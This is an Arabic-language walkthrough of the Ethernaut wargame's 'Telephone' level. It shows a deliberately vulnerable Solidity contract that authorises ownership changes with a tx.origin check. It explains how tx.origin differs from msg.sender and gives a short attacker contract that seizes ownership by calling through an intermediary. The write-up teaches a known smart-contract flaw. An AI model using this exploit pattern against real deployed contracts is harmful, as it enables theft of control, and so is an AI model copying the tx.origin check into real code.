Ethernaut in Arabic- Level 4 Telephone
سلسلة تشرح حلول ايثرناوت
بسم الله الرحمن الرحيم ،
نبدا فى المستوى الرابع فى لعبة ايثرناوت
خلونا نبدا بالمطلوب
Claim ownership of the contract below to complete this level.
Things that might help
See the Help page above, section "Beyond the console"
عاوزك تستحوذ على ملكية العقد ، ولما نبص على الكود
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
هنلاقى ان فيه فنكشن ، اى حد معدى ف الشارع يقدر نادى عليها ويستحوذ على ملكية العقد ، بس بشرط صغير
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
التحدى ده بسيط جدا ، وهدفه يعرفك على نقطه مهمه جدا ، مين اللى بيكلم الفنكشن دى ، او بعبارة اكثر مهنيه
function caller
خلينا نتفق انه نظريا وعمليا ، طالما سوليدتى بتدعم انك العقود تعمل تواصل مع عقود اخرى ، او ما يسمى بال
external calls
فانا اقدر ابعت لفنكشن فى عقد ، يكلم عقد تانى ، اللى بدورة يكلم عقد تالت ، وهكذا
فلو افترضنا انى عندى سلسلة من العقود، كل عقد فيه فنكشن بتنادى على فنكشن فى العقد اللى بعدها ، فانا هيكون عندى التالى فى سوليدتى
// ده هيكون اخر مرسل
msg.sender;
// انما ده هيكون اول مرسل
tx.origin;
طبعا لو انا معنديش غير
1 call
فده بيعنى ان
msg.sender=tx.origin;
وبناء على ما سبق، مهم جدا ننتبه لما نبرمج العقد انه مينفعش انى لما احب استوثق من المرسل لاى سبب زى نقل ملكية او غيرها انى استخدام
tx.origin
ﻻن سهل جدا التلاعب بيها
طب علشان نحل التحدى ده محتاجين ايه ؟
محتاجين نعمل عقد بسيط يكلم العقد ده
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone {
function changeOwner(address _owner) external;
}
contract TelephoneAttack {
function attack(address victim) public{
ITelephone(victim).changeOwner(msg.sender);
}
}
ونسلم النسخه